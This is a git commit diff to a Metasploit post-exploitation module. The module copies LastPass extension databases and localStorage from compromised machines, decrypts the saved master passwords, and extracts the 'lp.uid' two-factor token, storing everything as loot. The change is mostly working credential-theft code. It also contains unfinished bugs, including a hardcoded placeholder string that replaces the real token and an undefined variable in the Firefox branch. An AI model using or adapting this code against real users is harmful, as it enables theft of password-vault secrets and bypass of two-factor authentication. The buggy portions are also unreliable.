Add support to steal 2FA token
parent
3c16f8d4f0
commit
5b0647a1f2
|
@ -42,93 +42,40 @@ class Metasploit3 < Msf::Post
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
print_status "Extracting credentials from #{account_map.size} LastPass databases"
|
lastpass_data = {} #Contains all LastPass info
|
||||||
|
|
||||||
# an array of [user, encrypted password, browser]
|
print_status "Extracting credentials"
|
||||||
credentials = [] # All credentials to be decrypted
|
lastpass_data = extract_credentials(account_map)
|
||||||
account_map.each_pair do |account, browser_map|
|
|
||||||
browser_map.each_pair do |browser, paths|
|
|
||||||
if browser == 'Firefox'
|
|
||||||
paths.each do |path|
|
|
||||||
data = read_file(path)
|
|
||||||
loot_path = store_loot(
|
|
||||||
'firefox.preferences',
|
|
||||||
'text/javascript',
|
|
||||||
session,
|
|
||||||
data,
|
|
||||||
nil,
|
|
||||||
"Firefox preferences file #{path}"
|
|
||||||
)
|
|
||||||
|
|
||||||
# Extract usernames and passwords from preference file
|
print_status "Extracting 2FA tokens"
|
||||||
firefox_credentials(loot_path).each do |creds|
|
localstorage_map = build_localstorage_map
|
||||||
credentials << [account, browser, URI.unescape(creds[0]), URI.unescape(creds[1])]
|
if localstorage_map.empty?
|
||||||
end
|
print_status "No LastPass localstorage found"
|
||||||
end
|
else
|
||||||
else # Chrome, Safari and Opera
|
twoFA_token_map = check_localstorage_for_2FA_token(localstorage_map)
|
||||||
paths.each do |path|
|
lastpass_data.each_pair do |account, browser_map|
|
||||||
data = read_file(path)
|
browser_map.each_pair do |browser, username_map|
|
||||||
loot_path = store_loot(
|
username_map.each_pair do |user, data|
|
||||||
"#{browser.downcase}.lastpass.database",
|
if twoFA_token_map[account][browser]
|
||||||
'application/x-sqlite3',
|
lastpass_data[account][browser][user] << "defverthbertvwervrfv"#twoFA_token_map[account][browser]
|
||||||
session,
|
else
|
||||||
data,
|
lastpass_data[account][browser][user] << "NOT_FOUND"
|
||||||
nil,
|
|
||||||
"#{account}'s #{browser} LastPass database #{path}"
|
|
||||||
)
|
|
||||||
|
|
||||||
# Parsing/Querying the DB
|
|
||||||
db = SQLite3::Database.new(loot_path)
|
|
||||||
lastpass_user, lastpass_pass = db.execute(
|
|
||||||
"SELECT username, password FROM LastPassSavedLogins2 " \
|
|
||||||
"WHERE username IS NOT NULL AND username != '' " \
|
|
||||||
"AND password IS NOT NULL AND password != '';"
|
|
||||||
).flatten
|
|
||||||
if lastpass_user && lastpass_pass
|
|
||||||
credentials << [account, browser, lastpass_user, lastpass_pass]
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
credentials_table = Rex::Ui::Text::Table.new(
|
print_lastpass_data(lastpass_data)
|
||||||
'Header' => "LastPass credentials",
|
|
||||||
'Indent' => 1,
|
|
||||||
'Columns' => %w(Account Browser LastPass_Username LastPass_Password)
|
|
||||||
)
|
|
||||||
# Parse and decrypt credentials
|
|
||||||
credentials.each do |row| # Decrypt passwords
|
|
||||||
account, browser, user, enc_pass = row
|
|
||||||
vprint_status "Decrypting password for #{account}'s #{user} from #{browser}"
|
|
||||||
password = clear_text_password(user, enc_pass)
|
|
||||||
credentials_table << [account, browser, user, password]
|
|
||||||
end
|
|
||||||
unless credentials.empty?
|
|
||||||
print_good credentials_table.to_s
|
|
||||||
path = store_loot(
|
|
||||||
"lastpass.creds",
|
|
||||||
"text/csv",
|
|
||||||
session,
|
|
||||||
credentials_table.to_csv,
|
|
||||||
nil,
|
|
||||||
"Decrypted LastPass Master Passwords"
|
|
||||||
)
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
# Returns a mapping of { Account => { Browser => paths } }
|
# Returns a mapping of { Account => { Browser => paths } }
|
||||||
def build_account_map
|
def build_account_map
|
||||||
platform = session.platform
|
platform = session.platform
|
||||||
profiles = user_profiles
|
profiles = user_profiles
|
||||||
found_dbs_map = {}
|
found_dbs_map = {}
|
||||||
|
|
||||||
if datastore['VERBOSE']
|
|
||||||
vprint_status "Found #{profiles.size} users: #{profiles.map { |p| p['UserName'] }.join(', ')}"
|
|
||||||
else
|
|
||||||
print_status "Found #{profiles.size} users"
|
|
||||||
end
|
|
||||||
|
|
||||||
profiles.each do |user_profile|
|
profiles.each do |user_profile|
|
||||||
account = user_profile['UserName']
|
account = user_profile['UserName']
|
||||||
browser_path_map = {}
|
browser_path_map = {}
|
||||||
|
@ -144,7 +91,8 @@ class Metasploit3 < Msf::Post
|
||||||
when /unix|linux/
|
when /unix|linux/
|
||||||
browser_path_map = {
|
browser_path_map = {
|
||||||
'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0",
|
'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0",
|
||||||
'Firefox' => "#{user_profile['LocalAppData']}/.mozilla/firefox"
|
'Firefox' => "#{user_profile['LocalAppData']}/.mozilla/firefox",
|
||||||
|
'Opera' => "#{user_profile['LocalAppData']}/.config/Opera/databases/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage"
|
||||||
}
|
}
|
||||||
when /osx/
|
when /osx/
|
||||||
browser_path_map = {
|
browser_path_map = {
|
||||||
|
@ -231,7 +179,6 @@ class Metasploit3 < Msf::Post
|
||||||
return found_dbs_paths
|
return found_dbs_paths
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
files.each do |file_path|
|
files.each do |file_path|
|
||||||
unless %w(. .. Shared).include?(file_path)
|
unless %w(. .. Shared).include?(file_path)
|
||||||
found_dbs_paths.push([path, file_path].join(sep))
|
found_dbs_paths.push([path, file_path].join(sep))
|
||||||
|
@ -288,16 +235,18 @@ class Metasploit3 < Msf::Post
|
||||||
def clear_text_password(email, encrypted_data)
|
def clear_text_password(email, encrypted_data)
|
||||||
return if encrypted_data.blank?
|
return if encrypted_data.blank?
|
||||||
|
|
||||||
|
decrypted_password = "DECRYPTION_ERROR"
|
||||||
|
|
||||||
sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(email)
|
sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(email)
|
||||||
sha256_binary_email = [sha256_hex_email].pack "H*" # Do hex2bin
|
sha256_binary_email = [sha256_hex_email].pack "H*" # Do hex2bin
|
||||||
|
|
||||||
if encrypted_data.include?("|") # Apply CBC
|
if encrypted_data.include?("|") # Use CBC
|
||||||
decipher = OpenSSL::Cipher.new("AES-256-CBC")
|
decipher = OpenSSL::Cipher.new("AES-256-CBC")
|
||||||
decipher.decrypt
|
decipher.decrypt
|
||||||
decipher.key = sha256_binary_email # The key is the emails hashed to SHA256 and converted to binary
|
decipher.key = sha256_binary_email # The key is the emails hashed to SHA256 and converted to binary
|
||||||
decipher.iv = Base64.decode64(encrypted_data[1, 24]) # Discard ! and |
|
decipher.iv = Base64.decode64(encrypted_data[1, 24]) # Discard ! and |
|
||||||
encrypted_password = encrypted_data[26..-1]
|
encrypted_password = encrypted_data[26..-1]
|
||||||
else # Apply ECB
|
else # Use ECB
|
||||||
decipher = OpenSSL::Cipher.new("AES-256-ECB")
|
decipher = OpenSSL::Cipher.new("AES-256-ECB")
|
||||||
decipher.decrypt
|
decipher.decrypt
|
||||||
decipher.key = sha256_binary_email
|
decipher.key = sha256_binary_email
|
||||||
|
@ -305,9 +254,200 @@ class Metasploit3 < Msf::Post
|
||||||
end
|
end
|
||||||
|
|
||||||
begin
|
begin
|
||||||
decipher.update(Base64.decode64(encrypted_password)) + decipher.final
|
decrypted_password = decipher.update(Base64.decode64(encrypted_password)) + decipher.final
|
||||||
rescue
|
rescue
|
||||||
print_error "Password for #{email} could not be decrypted"
|
print_error "Password for #{email} could not be decrypted"
|
||||||
end
|
end
|
||||||
|
|
||||||
|
decrypted_password
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
def extract_credentials(account_map)
|
||||||
|
credentials = account_map # All credentials to be decrypted
|
||||||
|
|
||||||
|
account_map.each_pair do |account, browser_map|
|
||||||
|
browser_map.each_pair do |browser, paths|
|
||||||
|
credentials[account][browser] = Hash.new # Get rid of the browser paths
|
||||||
|
if browser == 'Firefox'
|
||||||
|
paths.each do |path|
|
||||||
|
data = read_file(path)
|
||||||
|
loot_path = store_loot(
|
||||||
|
'firefox.preferences',
|
||||||
|
'text/javascript',
|
||||||
|
session,
|
||||||
|
data,
|
||||||
|
nil,
|
||||||
|
"Firefox preferences file #{path}"
|
||||||
|
)
|
||||||
|
|
||||||
|
# Extract usernames and passwords from preference file
|
||||||
|
ffcreds = firefox_credentials(loot_path)
|
||||||
|
unless ffcreds.blank?
|
||||||
|
ffcreds.each do |creds|
|
||||||
|
credentials[account][browser]={URI.unescape(creds[0]) => [URI.unescape(creds[1])]}
|
||||||
|
end
|
||||||
|
else
|
||||||
|
credentials[account].delete("Firefox")
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
else # Chrome, Safari and Opera
|
||||||
|
paths.each do |path|
|
||||||
|
data = read_file(path)
|
||||||
|
loot_path = store_loot(
|
||||||
|
"#{browser.downcase}.lastpass.database",
|
||||||
|
'application/x-sqlite3',
|
||||||
|
session,
|
||||||
|
data,
|
||||||
|
nil,
|
||||||
|
"#{account}'s #{browser} LastPass database #{path}"
|
||||||
|
)
|
||||||
|
|
||||||
|
# Parsing/Querying the DB
|
||||||
|
db = SQLite3::Database.new(loot_path)
|
||||||
|
result = db.execute(
|
||||||
|
"SELECT username, password FROM LastPassSavedLogins2 " \
|
||||||
|
"WHERE username IS NOT NULL AND username != '' " \
|
||||||
|
)
|
||||||
|
|
||||||
|
for row in result
|
||||||
|
if row[0]
|
||||||
|
row[1].blank? ? row[1] = "NOT_FOUND" : row[1] = clear_text_password(row[0], row[1]) #Decrypt credentials
|
||||||
|
credentials[account][browser][row[0]] = [row[1]]
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
credentials
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Returns a localstorage mapping of { Account => { Browser => paths } }
|
||||||
|
def build_localstorage_map
|
||||||
|
platform = session.platform
|
||||||
|
profiles = user_profiles
|
||||||
|
found_localstorage_map = {}
|
||||||
|
|
||||||
|
profiles.each do |user_profile|
|
||||||
|
account = user_profile['UserName']
|
||||||
|
browser_path_map = {}
|
||||||
|
|
||||||
|
case platform
|
||||||
|
when /win/
|
||||||
|
browser_path_map = {
|
||||||
|
'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage",
|
||||||
|
'Firefox' => "#{user_profile['AppData']}\\Mozilla\\Firefox\\Profiles",
|
||||||
|
'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\Local Storage\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage",
|
||||||
|
'Safari' => "#{user_profile['LocalAppData']}\\Apple Computer\\Safari\\LocalStorage\\safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0.localstorage"
|
||||||
|
}
|
||||||
|
when /unix|linux/
|
||||||
|
browser_path_map = {
|
||||||
|
'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/Local Storage/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage",
|
||||||
|
#'Firefox' => "#{user_profile['LocalAppData']}/.mozilla/firefox",
|
||||||
|
'Opera' => "#{user_profile['LocalAppData']}/.config/Opera/Local Storage/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage"
|
||||||
|
}
|
||||||
|
when /osx/
|
||||||
|
browser_path_map = {
|
||||||
|
'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/Local Storage/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage",
|
||||||
|
#'Firefox' => "#{user_profile['LocalAppData']}\\Firefox\\Profiles",
|
||||||
|
'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/Local Storage/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage",
|
||||||
|
'Safari' => "#{user_profile['AppData']}/Safari/LocalStorage/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0.localstorage"
|
||||||
|
}
|
||||||
|
else
|
||||||
|
print_error "Platform not recognized: #{platform}"
|
||||||
|
end
|
||||||
|
|
||||||
|
found_localstorage_map[account] = {}
|
||||||
|
browser_path_map.each_pair do |browser, path|
|
||||||
|
found_localstorage_map[account][browser] = path if client.fs.file.exists?(path)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
found_localstorage_map
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
#Extracts the 2FA token from localStorage
|
||||||
|
def check_localstorage_for_2FA_token(localstorage_map)
|
||||||
|
localstorage_map.each_pair do |account, browser_map|
|
||||||
|
browser_map.each_pair do |browser, path|
|
||||||
|
if browser == 'Firefox'
|
||||||
|
data = read_file(path)
|
||||||
|
loot_path = store_loot(
|
||||||
|
'firefox.preferences',
|
||||||
|
'text/javascript',
|
||||||
|
session,
|
||||||
|
data,
|
||||||
|
nil,
|
||||||
|
"Firefox preferences file #{path}"
|
||||||
|
)
|
||||||
|
|
||||||
|
firefox_credentials(loot_path).each do |creds|
|
||||||
|
credentials << [account, browser, URI.unescape(creds[0]), URI.unescape(creds[1])]
|
||||||
|
end
|
||||||
|
else # Chrome, Safari and Opera
|
||||||
|
data = read_file(path)
|
||||||
|
loot_path = store_loot(
|
||||||
|
"#{browser.downcase}.lastpass.localstorage",
|
||||||
|
'application/x-sqlite3',
|
||||||
|
session,
|
||||||
|
data,
|
||||||
|
nil,
|
||||||
|
"#{account}'s #{browser} LastPass localstorage #{path}"
|
||||||
|
)
|
||||||
|
|
||||||
|
# Parsing/Querying the DB
|
||||||
|
db = SQLite3::Database.new(loot_path)
|
||||||
|
token = db.execute(
|
||||||
|
"SELECT hex(value) FROM ItemTable " \
|
||||||
|
"WHERE key = 'lp.uid';"
|
||||||
|
).flatten
|
||||||
|
token.blank? ? localstorage_map[account][browser] = "NOT_FOUND" : localstorage_map[account][browser] = token.pack('H*')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
localstorage_map
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
#Print all extracted LastPass data
|
||||||
|
def print_lastpass_data(lastpass_data)
|
||||||
|
lastpass_data_table = Rex::Ui::Text::Table.new(
|
||||||
|
'Header' => "LastPass data",
|
||||||
|
'Indent' => 1,
|
||||||
|
'Columns' => %w(Account Browser LastPass_Username LastPass_Password, LastPass_2FA)
|
||||||
|
)
|
||||||
|
|
||||||
|
lastpass_data.each_pair do |account, browser_map|
|
||||||
|
browser_map.each_pair do |browser, username_map|
|
||||||
|
username_map.each_pair do |user, data|
|
||||||
|
lastpass_data_table << [account, browser, user] + data
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
unless lastpass_data.empty?
|
||||||
|
print_good lastpass_data_table.to_s
|
||||||
|
path = store_loot(
|
||||||
|
"lastpass.creds",
|
||||||
|
"text/csv",
|
||||||
|
session,
|
||||||
|
lastpass_data_table.to_csv,
|
||||||
|
nil,
|
||||||
|
"LastPass Data"
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
Loading…
Reference in New Issue